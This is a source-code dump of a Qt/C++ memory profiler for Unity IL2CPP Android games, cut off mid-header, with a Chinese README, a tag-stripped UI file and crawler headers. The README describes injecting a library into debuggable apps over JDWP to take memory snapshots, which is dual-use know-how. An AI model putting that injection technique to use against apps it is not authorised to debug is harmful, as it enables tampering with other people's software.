├── .gitignore ├── README.md ├── detailswidget.ui ├── include ├── adbprocess.h ├── detailswidget.h ├── globalLog.h ├── mainwindow.h ├── remoteprocess.h ├── startappprocess.h ├── umpcrawler.h ├── umpmemory.h └── umpmodel.h ├── mainwindow.ui ├── plugins ├── Android │ └── jni │ │ ├── Android.mk │ │ ├── Application.mk │ │ ├── buffer.h │ │ ├── umpmain.cpp │ │ ├── umpmemory.h │ │ ├── umpserver.cpp │ │ ├── umpserver.h │ │ ├── umputils.cpp │ │ └── umputils.h └── README.md ├── release └── jdwp-shellifier.py ├── res ├── btn_callstacks.png ├── btn_capture.png ├── btn_next.png ├── btn_open.png ├── btn_previous.png ├── btn_save.png ├── btn_stat.png ├── btn_treemap.png ├── btn_visualize.png ├── devices.icns ├── devices.ico ├── devices.png ├── icon.qrc └── images │ └── memperf.png ├── src ├── adbprocess.cpp ├── detailswidget.cpp ├── globalLog.cpp ├── main.cpp ├── mainwindow.cpp ├── remoteprocess.cpp ├── startappprocess.cpp ├── umpcrawler.cpp └── umpmodel.cpp └── unitymemperf.pro /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | # Project Solution 35 | *.sublime-project 36 | *.sublime-workspace 37 | *.pro.user 38 | 39 | # Directories 40 | bin/ 41 | build/ 42 | obj/ 43 | libs/ 44 | .vs/ 45 | .vscode/ 46 | .DS_Store -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Unity MemPerf 2 | 3 | UnityMemperf是一款专为**Unity**引擎**安卓**平台**IL2CPP**运行时打造的高性能**内存分析、泄露检查、快照对比**工具 4 | 5 | 参考[PerfAssist](https://github.com/GameBuildingBlocks/PerfAssist/)进行功能开发,通过安卓注入技术,实现了连接USB即可实时抓取内存快照的功能 6 | 7 | **目前支持Windows7/10与MacOSX(Mojave+),Windows需提供Python2.7** 8 | 9 | **目前测试过的支持的安卓版本为:7,8,9** 10 | 11 | **目前测试过支持的Unity为:5.6.6f2,2018.3.13f1,2019.2.9f1** 12 | 13 | **注意:请关闭AndroidStudio、UE4等可能占用ADB的程序再使用本程序!** 14 | 15 | > [程序下载](https://wetest.oa.com/store/unity-memperf)、[使用手册](https://git.code.oa.com/xinhou/unity_memperf/wikis/tutorial) 16 | 17 | ![](res/images/memperf.png) 18 | 19 | **注意:此程序仍处于初级研发阶段** 20 | 21 | ## 特性 22 | 23 | - 可以Profile安卓平台Debuggable的Unity程序 24 | * 已验证版本:Unity5.6.6f2,Unity2018.3.13f1 25 | - 操作简单:只需连接手机,选择并开启程序即可开始抓取内存快照 26 | - 实现了大部分PerfAssist的交互功能 27 | * 记录选择操作历史,方便回看 28 | * 展示Managed对象字段数据,引用数据等底层信息 29 | * 可对不同内存快照进行Diff操作,方便检查Managed内存泄露 30 | - 从手机端实时获取内存快照数据(仅含IL2CPP运行时,不包含UnityNative信息) 31 | - 网络包使用LZ4压缩以加快收发速度 32 | - 运行流畅(使用C++与QT开发) 33 | - 同时支持Windows 10与Mac OSX(Mojave+)操作系统 34 | 35 | ## 计划 36 | 37 | **短期计划** 38 | 39 | * 验证并支持更多版本的Unity引擎 40 | * 发现并优化用户体验相关问题 41 | * 计划中 ... 42 | 43 | ## 技术选择 44 | 45 | 我通过JDWP( Java Debug Wire Protocol)技术进行对Unity安卓程序的动态库注入 46 | 47 | 在动态库的 JNI_OnLoad 中对 Profile 程序进行初始化(开启 TCP Server,开启检测线程等) 48 | 49 | 在JNI_OnLoad函数中,通过dlopen与dlsym可以获取到 il2cpp_capture_memory_snapshot 函数接口,通过此接口即可实现远程操控的内存快照截取操作 50 | 51 | ## 编译 52 | 53 | **环境** 54 | 55 | * QT 5 或更高 56 | * QT Creater 4.8 或更高 57 | * C++11 编译器 58 | * Android NDK r16b 或更高(如需自行编译安卓插件) 59 | 60 | ## 链接 61 | 62 | * JDWP库 https://koz.io/library-injection-for-debuggable-android-apps/ 63 | * 图标 https://www.flaticon.com/authors/smashicons 64 | * 工具图标 https://www.flaticon.com/authors/freepik 65 | * Wetest商店 https://wetest.oa.com/store/unity-memperf 66 | -------------------------------------------------------------------------------- /detailswidget.ui: -------------------------------------------------------------------------------- 1 | 2 | 3 | DetailsWidget 4 | 5 | 6 | 7 | 0 8 | 0 9 | 300 10 | 503 11 | 12 | 13 | 14 | 15 | 300 16 | 0 17 | 18 | 19 | 20 | Form 21 | 22 | 23 | 24 | 4 25 | 26 | 27 | 4 28 | 29 | 30 | 4 31 | 32 | 33 | 4 34 | 35 | 36 | 4 37 | 38 | 39 | 40 | 41 | Qt::ScrollBarAlwaysOn 42 | 43 | 44 | Qt::ScrollBarAlwaysOff 45 | 46 | 47 | QAbstractScrollArea::AdjustToContents 48 | 49 | 50 | true 51 | 52 | 53 | Qt::AlignLeading|Qt::AlignLeft|Qt::AlignTop 54 | 55 | 56 | 57 | 58 | 0 59 | 0 60 | 276 61 | 590 62 | 63 | 64 | 65 | 66 | 0 67 | 0 68 | 69 | 70 | 71 | 72 | 2 73 | 74 | 75 | 2 76 | 77 | 78 | 2 79 | 80 | 81 | 2 82 | 83 | 84 | 2 85 | 86 | 87 | 88 | 89 | 4 90 | 91 | 92 | 93 | 94 | 95 | 0 96 | 0 97 | 98 | 99 | 100 | 101 | 0 102 | 0 103 | 104 | 105 | 106 | 107 | 108 | 0 109 | 100 110 | 111 | 112 | 113 | 114 | 115 | 10 116 | 10 117 | 201 118 | 16 119 | 120 | 121 | 122 | Select an Object to see more info 123 | 124 | 125 | 126 | 127 | 128 | 129 | 0 130 | 0 131 | 132 | 133 | 134 | 135 | 0 136 | 100 137 | 138 | 139 | 140 | 141 | 2 142 | 143 | 144 | 0 145 | 146 | 147 | 0 148 | 149 | 150 | 0 151 | 152 | 153 | 0 154 | 155 | 156 | 157 | 158 | 159 | 160 | Managed Object 161 | 162 | 163 | 164 | 165 | 166 | 167 | Type 168 | 169 | 170 | 171 | 172 | 173 | 174 | true 175 | 176 | 177 | 178 | 179 | 180 | 181 | Address 182 | 183 | 184 | 185 | 186 | 187 | 188 | true 189 | 190 | 191 | 192 | 193 | 194 | 195 | Size 196 | 197 | 198 | 199 | 200 | 201 | 202 | true 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 2 214 | 215 | 216 | 0 217 | 218 | 219 | 0 220 | 221 | 222 | 0 223 | 224 | 225 | 0 226 | 227 | 228 | 229 | 230 | 231 | 232 | Type 233 | 234 | 235 | 236 | 237 | 238 | 239 | true 240 | 241 | 242 | 243 | 244 | 245 | 246 | Size 247 | 248 | 249 | 250 | 251 | 252 | 253 | true 254 | 255 | 256 | 257 | 258 | 259 | 260 | Static Fields 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | Values: 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 0 282 | 0 283 | 284 | 285 | 286 | 287 | 0 288 | 100 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | Fields: 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 0 305 | 0 306 | 307 | 308 | 309 | 310 | 0 311 | 100 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | Refs: 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 0 328 | 0 329 | 330 | 331 | 332 | 333 | 0 334 | 100 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | Referenced by: 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 0 351 | 0 352 | 353 | 354 | 355 | 356 | 0 357 | 100 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | -------------------------------------------------------------------------------- /include/adbprocess.h: -------------------------------------------------------------------------------- 1 | #ifndef ADBPROCESS_H 2 | #define ADBPROCESS_H 3 | 4 | #include 5 | 6 | class AdbProcess : public QObject { 7 | Q_OBJECT 8 | public: 9 | AdbProcess(QObject* parent = nullptr); 10 | virtual ~AdbProcess(); 11 | 12 | void SetExecutablePath(const QString& str) { 13 | execPath_ = str; 14 | } 15 | 16 | const QString& GetExecutablePath() const { 17 | return execPath_; 18 | } 19 | 20 | QProcess* Process() const { 21 | return process_; 22 | } 23 | 24 | void ExecuteAsync(const QStringList& arguments) { 25 | ExecuteAsync(execPath_, arguments); 26 | } 27 | 28 | void ExecuteAsync(const QString execPath, const QStringList& arguments) { 29 | running_ = true; 30 | process_->setProgram(execPath); 31 | #ifdef Q_OS_WIN 32 | process_->setNativeArguments(arguments.join(' ')); 33 | #else 34 | process_->setArguments(arguments); 35 | #endif 36 | process_->start(); 37 | } 38 | 39 | void SetArguments(const QStringList& arguments) { 40 | #ifdef Q_OS_WIN 41 | process_->setNativeArguments(arguments.join(' ')); 42 | #else 43 | process_->setArguments(arguments); 44 | #endif 45 | } 46 | 47 | void ExecuteAsync() { 48 | running_ = true; 49 | process_->start(); 50 | } 51 | 52 | bool IsRunning() const { 53 | return running_; 54 | } 55 | 56 | bool HasErrors() const { 57 | return hasErrors_; 58 | } 59 | 60 | void Connect(); 61 | void Disconnect(); 62 | 63 | signals: 64 | void ProcessFinished(AdbProcess* process); 65 | void ProcessErrorOccurred(); 66 | 67 | protected: 68 | virtual void OnProcessFinihed() = 0; 69 | virtual void OnProcessErrorOccurred() {} 70 | 71 | protected slots: 72 | void AdbProcessFinished(int exitCode, QProcess::ExitStatus exitStatus); 73 | void AdbProcessErrorOccurred(QProcess::ProcessError); 74 | 75 | protected: 76 | bool running_ = false; 77 | bool connected_ = false; 78 | bool hasErrors_ = false; 79 | QProcess *process_; 80 | QString execPath_; 81 | }; 82 | 83 | #endif // ADBPROCESS_H 84 | -------------------------------------------------------------------------------- /include/detailswidget.h: -------------------------------------------------------------------------------- 1 | #ifndef DETAILSWIDGET_H 2 | #define DETAILSWIDGET_H 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | namespace Ui { 11 | class DetailsWidget; 12 | } 13 | 14 | enum class ThingType; 15 | struct TypeDescription; 16 | struct FieldDescription; 17 | struct BytesAndOffset; 18 | struct ThingInMemory; 19 | struct ManagedObject; 20 | struct CrawledMemorySnapshot; 21 | class PrimitiveValueReader; 22 | class DetailsWidget : public QWidget { 23 | Q_OBJECT 24 | public: 25 | explicit DetailsWidget(CrawledMemorySnapshot* snapshot, QWidget *parent = nullptr); 26 | ~DetailsWidget(); 27 | 28 | void ShowThing(ThingInMemory* thing, ThingType type); 29 | 30 | signals: 31 | void ThingSelected(std::uint32_t index); 32 | 33 | private slots: 34 | void OnListItemDoubleClicked(QListWidgetItem *item); 35 | 36 | private: 37 | void SizeToContent(QListWidget* widget); 38 | void DrawLinks(QListWidget* widget, const std::vector& pointers); 39 | void DrawLinks(QListWidget* widget, const std::vector things); 40 | ThingInMemory* GetThingAt(std::uint64_t address); 41 | 42 | void DrawFields(QListWidget* widget, TypeDescription* type, const BytesAndOffset& bo, bool useStatics = false); 43 | void DrawFields(QListWidget* widget, ManagedObject* mo); 44 | void DrawValueFor(QListWidget* widget, const FieldDescription* field, const BytesAndOffset& bo); 45 | 46 | private: 47 | Ui::DetailsWidget *ui; 48 | CrawledMemorySnapshot* snapshot_; 49 | PrimitiveValueReader* primitiveValueReader_; 50 | std::unordered_map managedObjCache_; 51 | }; 52 | 53 | #endif // DETAILSWIDGET_H 54 | -------------------------------------------------------------------------------- /include/globalLog.h: -------------------------------------------------------------------------------- 1 | #ifndef GLOBALLOG_H 2 | #define GLOBALLOG_H 3 | 4 | #include 5 | 6 | class GlobalLogDef { 7 | public: 8 | GlobalLogDef(); 9 | static void writeToFile(QString &str,int type); 10 | static void writeToFile(int &str,int type); 11 | static QString log; 12 | }; 13 | 14 | #endif // GLOBALLOG_H 15 | 16 | 17 | -------------------------------------------------------------------------------- /include/mainwindow.h: -------------------------------------------------------------------------------- 1 | #ifndef MAINWINDOW_H 2 | #define MAINWINDOW_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "startappprocess.h" 10 | #include "remoteprocess.h" 11 | 12 | 13 | namespace Ui { 14 | class MainWindow; 15 | } 16 | 17 | class QFile; 18 | struct CrawledMemorySnapshot; 19 | class MainWindow : public QMainWindow { 20 | Q_OBJECT 21 | public: 22 | explicit MainWindow(QWidget *parent = nullptr); 23 | ~MainWindow() override; 24 | 25 | void LoadSettings(); 26 | void SaveSettings(); 27 | 28 | void closeEvent(QCloseEvent *event) override; 29 | static QString globalLog ; 30 | 31 | private: 32 | void SaveToFile(QFile *file); 33 | int LoadFromFile(QFile *file); 34 | void CleanWorkSpace(); 35 | void Print(const QString& str); 36 | QString GetLastOpenDir() const; 37 | 38 | void ConnectionFailed(); 39 | void ShowSnapshot(CrawledMemorySnapshot* snapshot); 40 | void UpdateShowNextPrev(); 41 | QString _cacheCsvContent; 42 | bool exportExecl( QString &fileName, QString &datas); 43 | 44 | 45 | private slots: 46 | void FixedUpdate(); 47 | void StartAppProcessFinished(AdbProcess* process); 48 | void StartAppProcessErrorOccurred(); 49 | void RemoteDataReceived(); 50 | void RemoteConnectionLost(); 51 | 52 | void OnTabBarContextMenuRequested(const QPoint& pos); 53 | void OnThingSelected(std::uint32_t index); 54 | 55 | void on_actionOpen_triggered(); 56 | void on_actionSave_triggered(); 57 | void on_actionExit_triggered(); 58 | void on_actionAbout_triggered(); 59 | void on_sdkPushButton_clicked(); 60 | void on_pythonPushButton_clicked(); 61 | void on_selectAppToolButton_clicked(); 62 | void on_launchPushButton_clicked(); 63 | void on_actionCapture_Snapshot_triggered(); 64 | void on_upperTabWidget_tabCloseRequested(int index); 65 | void on_upperTabWidget_currentChanged(int index); 66 | void on_actionJump_Back_triggered(); 67 | void on_actionJump_Forward_triggered(); 68 | void on_actionMark_First_triggered(); 69 | void on_actionMark_Second_triggered(); 70 | 71 | private: 72 | Ui::MainWindow *ui; 73 | QProgressDialog *progressDialog_; 74 | QString adbPath_; 75 | QString pythonPath_; 76 | QString appPid_; 77 | QString lastOpenDir_; 78 | QTimer* mainTimer_; 79 | 80 | QMap snapShots_; 81 | QWidget* firstDiffPage_ = nullptr; 82 | 83 | // adb shell monkey -p packagename -c android.intent.category.LAUNCHER 1 84 | StartAppProcess *startAppProcess_; 85 | 86 | RemoteProcess *remoteProcess_; 87 | int remoteRetryCount_ = 0; 88 | 89 | bool isConnected_ = false; 90 | }; 91 | 92 | #endif // MAINWINDOW_H 93 | -------------------------------------------------------------------------------- /include/remoteprocess.h: -------------------------------------------------------------------------------- 1 | #ifndef STACKTRACEPROCESS_H 2 | #define STACKTRACEPROCESS_H 3 | 4 | #include 5 | #include 6 | 7 | enum class UMPMessageType : std::uint32_t { 8 | CAPTURE_SNAPSHOT = 0, 9 | }; 10 | 11 | struct Il2CppManagedMemorySnapshot; 12 | class QTcpSocket; 13 | class RemoteProcess : public QObject { 14 | Q_OBJECT 15 | public: 16 | RemoteProcess(QObject* parent = nullptr); 17 | ~RemoteProcess() override; 18 | 19 | void ConnectToServer(int port); 20 | void Disconnect(); 21 | bool IsConnecting() const { return connectingServer_; } 22 | bool IsConnected() const { return serverConnected_; } 23 | 24 | void Send(UMPMessageType type); 25 | const Il2CppManagedMemorySnapshot* GetSnapShot() const { return snapShot_; } 26 | Il2CppManagedMemorySnapshot* GetSnapShot() { return snapShot_; } 27 | 28 | void SetExecutablePath(const QString& str) { execPath_ = str; } 29 | const QString& GetExecutablePath() const { return execPath_; } 30 | 31 | signals: 32 | void DataReceived(); 33 | void ConnectionLost(); 34 | 35 | private: 36 | void Interpret(const QByteArray& bytes); 37 | bool DecodeData(const char* data, size_t size); 38 | void OnDataReceived(); 39 | void OnConnected(); 40 | void OnDisconnected(); 41 | 42 | private: 43 | QString execPath_; 44 | QTcpSocket* socket_ = nullptr; 45 | bool connectingServer_ = false; 46 | bool serverConnected_ = false; 47 | quint32 packetSize_ = 0; 48 | char* buffer_ = nullptr; 49 | char* compressBuffer_ = nullptr; 50 | quint32 compressBufferSize_ = 1024; 51 | QByteArray bufferCache_; 52 | Il2CppManagedMemorySnapshot *snapShot_ = nullptr; 53 | }; 54 | 55 | #endif // STACKTRACEPROCESS_H 56 | -------------------------------------------------------------------------------- /include/startappprocess.h: -------------------------------------------------------------------------------- 1 | #ifndef STARTAPPPROCESS_H 2 | #define STARTAPPPROCESS_H 3 | 4 | #include "adbprocess.h" 5 | 6 | class QProgressDialog; 7 | class StartAppProcess : public AdbProcess { 8 | public: 9 | StartAppProcess(QObject* parent = nullptr); 10 | 11 | void SetPythonPath(const QString& path) { 12 | pythonPath_ = path; 13 | } 14 | 15 | bool Result() const { 16 | return startResult_; 17 | } 18 | 19 | QString ErrorStr() const { 20 | return errorStr_; 21 | } 22 | 23 | void StartApp(const QString& appName, const QString& arch, QProgressDialog* dialog); 24 | 25 | protected: 26 | void OnProcessFinihed() override; 27 | void OnProcessErrorOccurred() override; 28 | 29 | private: 30 | bool startResult_ = false; 31 | QString errorStr_; 32 | QString pythonPath_; 33 | }; 34 | 35 | #endif // STARTAPPPROCESS_H 36 | -------------------------------------------------------------------------------- /include/umpcrawler.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPCRAWLER_H 2 | #define UMPCRAWLER_H 3 | 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include "umpmemory.h" 12 | 13 | struct Connection { 14 | std::uint32_t from_; 15 | std::uint32_t to_; 16 | Connection(std::uint32_t from, std::uint32_t to) : from_(from), to_(to) {} 17 | }; 18 | 19 | struct PackedManagedObject { 20 | std::uint64_t address_; 21 | std::uint32_t typeIndex_; 22 | std::uint32_t size_; 23 | }; 24 | 25 | struct StartIndices { 26 | std::uint32_t gcHandleCount_; 27 | std::uint32_t staticFieldsCount_; 28 | StartIndices(std::uint32_t gcHandleCount = 0, std::uint32_t staticFieldsCount = 0) 29 | : gcHandleCount_(gcHandleCount), staticFieldsCount_(staticFieldsCount) {} 30 | std::uint32_t OfFirstGCHandle() const { return 0; } 31 | std::uint32_t OfFirstStaticFields() const { return OfFirstGCHandle() + gcHandleCount_; } 32 | std::uint32_t OfFirstManagedObject() const { return OfFirstStaticFields() + staticFieldsCount_; } 33 | }; 34 | 35 | struct PackedCrawlerData { 36 | bool valid_; 37 | Il2CppManagedMemorySnapshot* snapshot_; 38 | StartIndices startIndices_; 39 | std::vector managedObjects_; 40 | std::vector typesWithStaticFields_; 41 | std::vector connections_; 42 | std::vector typeDescriptions_; 43 | PackedCrawlerData(Il2CppManagedMemorySnapshot* snapshot) { 44 | valid_ = true; 45 | snapshot_ = snapshot; 46 | for (std::uint32_t i = 0; i < snapshot->metadata.typeCount; i++) { 47 | auto type = &snapshot->metadata.types[i]; 48 | if (type->statics != nullptr && type->staticsSize > 0) 49 | typesWithStaticFields_.push_back(type); 50 | } 51 | startIndices_.gcHandleCount_ = snapshot->gcHandles.trackedObjectCount; 52 | startIndices_.staticFieldsCount_ = static_cast(typesWithStaticFields_.size()); 53 | } 54 | }; 55 | 56 | struct BytesAndOffset { 57 | std::uint8_t* bytes_ = nullptr; 58 | std::uint64_t offset_ = 0; 59 | std::uint32_t pointerSize_ = 0; 60 | bool IsValid() const { return bytes_ != nullptr; } 61 | std::uint64_t ReadPointer() const { 62 | if (pointerSize_ == 4) { 63 | std::uint32_t ptr; 64 | memcpy(&ptr, bytes_ + offset_, 4); 65 | return ptr; 66 | } 67 | std::uint64_t ptr; 68 | memcpy(&ptr, bytes_ + offset_, 8); 69 | return ptr; 70 | } 71 | std::int32_t ReadInt32() const { 72 | std::int32_t ptr; 73 | memcpy(&ptr, bytes_ + offset_, 4); 74 | return ptr; 75 | } 76 | std::int64_t ReadInt64() const { 77 | std::int64_t ptr; 78 | memcpy(&ptr, bytes_ + offset_, 8); 79 | return ptr; 80 | } 81 | BytesAndOffset Add(std::uint32_t add) const { 82 | BytesAndOffset ba; 83 | ba.bytes_ = bytes_; 84 | ba.offset_ = offset_ + add; 85 | ba.pointerSize_ = pointerSize_; 86 | return ba; 87 | } 88 | void WritePointer(std::uint64_t value) { 89 | for (std::uint32_t i = 0; i < pointerSize_; i++) { 90 | bytes_[i + offset_] = static_cast(value); 91 | value >>= 8; 92 | } 93 | } 94 | BytesAndOffset NextPointer() const { 95 | return Add(pointerSize_); 96 | } 97 | }; 98 | 99 | class Crawler { 100 | public: 101 | void Crawl(PackedCrawlerData& result, Il2CppManagedMemorySnapshot* snapshot); 102 | void CrawlPointer(Il2CppManagedMemorySnapshot* snapshot, StartIndices startIndices, std::uint64_t pointer, std::uint32_t indexOfFrom, 103 | std::vector& oConnections, std::vector& outManagedObjects); 104 | void ParseObjectHeader(StartIndices& startIndices, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t originalHeapAddress, std::uint64_t& typeInfoAddress, 105 | std::uint32_t& indexOfObject, bool& wasAlreadyCrawled, std::vector& outManagedObjects); 106 | void CrawlRawObjectData(Il2CppManagedMemorySnapshot* packedMemorySnapshot, StartIndices startIndices, BytesAndOffset bytesAndOffset, 107 | Il2CppMetadataType* typeDescription, bool useStaticFields, std::uint32_t indexOfFrom, 108 | std::vector& out_connections, std::vector& out_managedObjects); 109 | int SizeOfObjectInBytes(Il2CppMetadataType* typeDescription, BytesAndOffset bo, Il2CppManagedMemorySnapshot* snapshot, std::uint64_t address); 110 | private: 111 | std::unordered_map typeInfoToTypeDescription_; 112 | std::vector typeDescriptions_; 113 | }; 114 | 115 | struct FieldDescription { 116 | std::uint32_t offset_; 117 | std::uint32_t typeIndex_; 118 | QString name_; 119 | bool isStatic_; 120 | }; 121 | 122 | enum class CrawledDiffFlags : std::uint8_t { 123 | kNone = 0, 124 | kAdded, 125 | kBigger, 126 | kSame, 127 | kSmaller, 128 | }; 129 | 130 | struct TypeDescription { 131 | Il2CppMetadataTypeFlags flags_; 132 | std::vector fields_; 133 | std::uint8_t* statics_ = nullptr; 134 | std::uint32_t staticsSize_ = 0; 135 | std::uint32_t baseOrElementTypeIndex_; 136 | QString name_; 137 | QString assemblyName_; 138 | std::uint64_t typeInfoAddress_; 139 | std::int64_t size_; 140 | std::uint32_t typeIndex_; 141 | TypeDescription() = default; 142 | TypeDescription(const TypeDescription& other) { 143 | flags_ = other.flags_; 144 | fields_ = other.fields_; 145 | baseOrElementTypeIndex_ = other.baseOrElementTypeIndex_; 146 | name_ = other.name_; 147 | assemblyName_ = other.assemblyName_; 148 | typeInfoAddress_ = other.typeInfoAddress_; 149 | size_ = other.size_; 150 | typeIndex_ = other.typeIndex_; 151 | if (statics_ != nullptr) { 152 | delete statics_; 153 | statics_ = nullptr; 154 | } 155 | staticsSize_ = other.staticsSize_; 156 | if (staticsSize_ > 0) { 157 | statics_ = new std::uint8_t[staticsSize_]; 158 | memcpy(statics_, other.statics_, staticsSize_); 159 | } 160 | } 161 | bool IsArray() const { 162 | return (flags_ & Il2CppMetadataTypeFlags::kArray) != 0; 163 | } 164 | bool IsValueType() const { 165 | return (flags_ & Il2CppMetadataTypeFlags::kValueType) != 0; 166 | } 167 | int ArrayRank() const { 168 | return static_cast(flags_ & Il2CppMetadataTypeFlags::kArrayRankMask) >> 16; 169 | } 170 | }; 171 | 172 | enum class ThingType { 173 | NONE = 0, 174 | MANAGED, 175 | GCHANDLE, 176 | STATIC 177 | }; 178 | 179 | struct ThingInMemory { 180 | std::uint32_t index_{0}; 181 | std::int64_t size_{0}; 182 | CrawledDiffFlags diff_ = CrawledDiffFlags::kNone; 183 | QString caption_{}; 184 | std::vector references_{}; 185 | std::vector referencedBy_{}; 186 | ThingInMemory() = default; 187 | ThingInMemory(const ThingInMemory& other) { 188 | index_ = other.index_; 189 | size_ = other.size_; 190 | diff_ = other.diff_; 191 | caption_ = other.caption_; 192 | } 193 | virtual ~ThingInMemory() = default; 194 | virtual ThingType type() const { return ThingType::NONE; } 195 | }; 196 | 197 | struct ManagedObject : public ThingInMemory { 198 | std::uint64_t address_; 199 | TypeDescription* typeDescription_; 200 | ThingType type() const override { return ThingType::MANAGED; } 201 | }; 202 | 203 | struct GCHandle : public ThingInMemory { 204 | ThingType type() const override { return ThingType::GCHANDLE; } 205 | }; 206 | 207 | struct StaticFields : public ThingInMemory { 208 | TypeDescription* typeDescription_; 209 | std::uint64_t nameHash_; 210 | ThingType type() const override { return ThingType::STATIC; } 211 | }; 212 | 213 | struct CrawledManagedMemorySection { 214 | std::uint64_t sectionStartAddress_ = 0; 215 | std::uint32_t sectionSize_ = 0; 216 | std::uint8_t* sectionBytes_ = nullptr; 217 | }; 218 | 219 | enum class FieldFindOptions { 220 | OnlyInstance, 221 | OnlyStatic 222 | }; 223 | 224 | struct CrawledMemorySnapshot { 225 | std::vector gcHandles_{}; 226 | std::vector managedObjects_{}; 227 | std::vector staticFields_{}; 228 | 229 | std::vector allObjects_{}; 230 | 231 | std::vector managedHeap_; 232 | std::vector typeDescriptions_{}; 233 | 234 | Il2CppRuntimeInformation runtimeInformation_; 235 | 236 | bool isDiff_ = false; 237 | QString name_ = "EmptySnapshot"; 238 | 239 | static void Unpack(CrawledMemorySnapshot& result, Il2CppManagedMemorySnapshot* snapshot, PackedCrawlerData& packedCrawlerData); 240 | static BytesAndOffset FindInHeap(const CrawledMemorySnapshot* snapshot, std::uint64_t addr); 241 | static QString ReadString(const CrawledMemorySnapshot* snapshot, const BytesAndOffset& bo); 242 | static int ReadArrayLength(const CrawledMemorySnapshot* snapshot, std::uint64_t address, TypeDescription* arrayType); 243 | static void AllFieldsOf(const CrawledMemorySnapshot* snapshot, const TypeDescription* typeDescription, 244 | FieldFindOptions options, std::vector& outFields); 245 | static CrawledMemorySnapshot* Clone(const CrawledMemorySnapshot* src); 246 | static CrawledMemorySnapshot* Diff(const CrawledMemorySnapshot* firstSnapshot, const CrawledMemorySnapshot* secondSnapshot); 247 | static void Free(CrawledMemorySnapshot* snapshot); 248 | }; 249 | 250 | // windows & android runtime are little-endian 251 | class PrimitiveValueReader { 252 | public: 253 | PrimitiveValueReader(const CrawledMemorySnapshot* snapshot) : snapshot_(snapshot) {} 254 | template 255 | T ReadInteger(const BytesAndOffset& bo) const { 256 | T value; 257 | memcpy(reinterpret_cast(&value), bo.bytes_ + bo.offset_, sizeof(T)); 258 | return value; 259 | } 260 | std::uint8_t ReadByte(const BytesAndOffset& bo) const { 261 | return bo.bytes_[bo.offset_]; 262 | } 263 | bool ReadBool(const BytesAndOffset& bo) const { 264 | return ReadByte(bo) != 0; 265 | } 266 | std::uint64_t ReadPointer(const BytesAndOffset& bo) const { 267 | if (snapshot_->runtimeInformation_.pointerSize == 4) 268 | return ReadInteger(bo); 269 | else 270 | return ReadInteger(bo); 271 | } 272 | std::uint64_t ReadPointer(std::uint64_t address) const { 273 | return ReadPointer(CrawledMemorySnapshot::FindInHeap(snapshot_, address)); 274 | } 275 | private: 276 | const CrawledMemorySnapshot* snapshot_; 277 | }; 278 | 279 | #endif // UMPCRAWLER_H 280 | -------------------------------------------------------------------------------- /include/umpmemory.h: -------------------------------------------------------------------------------- 1 | #ifndef UMPMEMORY_H 2 | #define UMPMEMORY_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | const uint32_t kSnapshotFormatVersion = 4; 9 | const uint32_t kSnapshotMagicBytes = 0xFABCED01; 10 | const uint32_t kSnapshotHeapMagicBytes = 0x9111DAAA; 11 | const uint32_t kSnapshotStacksMagicBytes = 0x147358AA; 12 | const uint32_t kSnapshotMetadataMagicBytes = 0x4891AEFD; 13 | const uint32_t kSnapshotGCHandlesMagicBytes = 0x3456132C; 14 | // const uint32_t kSnapshotNativeTypesMagicBytes = 0x78514753; 15 | // const uint32_t kSnapshotNativeObjectsMagicBytes = 0x6173FAFE; 16 | const uint32_t kSnapshotRuntimeInfoMagicBytes = 0x0183EFAC; 17 | const uint32_t kSnapshotTailMagicBytes = 0x865EEAAF; 18 | 19 | struct Il2CppMetadataField 20 | { 21 | uint32_t offset; 22 | uint32_t typeIndex; 23 | char* name; 24 | bool isStatic; 25 | }; 26 | 27 | enum Il2CppMetadataTypeFlags 28 | { 29 | kNone = 0, 30 | kValueType = 1 << 0, 31 | kArray = 1 << 1, 32 | kArrayRankMask = 0xFFFF0000 33 | }; 34 | 35 | struct Il2CppMetadataType 36 | { 37 | Il2CppMetadataTypeFlags flags; // If it's an array, rank is encoded in the upper 2 bytes 38 | Il2CppMetadataField* fields; 39 | uint32_t fieldCount; 40 | uint32_t staticsSize; 41 | uint8_t* statics; 42 | uint32_t baseOrElementTypeIndex; 43 | char* name; 44 | char* assemblyName; 45 | uint64_t typeInfoAddress; 46 | uint32_t size; 47 | uint32_t typeIndex; 48 | }; 49 | 50 | struct Il2CppMetadataSnapshot 51 | { 52 | uint32_t typeCount; 53 | Il2CppMetadataType* types; 54 | }; 55 | 56 | struct Il2CppManagedMemorySection 57 | { 58 | uint64_t sectionStartAddress; 59 | uint32_t sectionSize; 60 | uint8_t* sectionBytes; 61 | }; 62 | 63 | struct Il2CppManagedHeap 64 | { 65 | uint32_t sectionCount; 66 | Il2CppManagedMemorySection* sections; 67 | }; 68 | 69 | struct Il2CppStacks 70 | { 71 | uint32_t stackCount; 72 | Il2CppManagedMemorySection* stacks; 73 | }; 74 | 75 | struct NativeObject 76 | { 77 | uint32_t 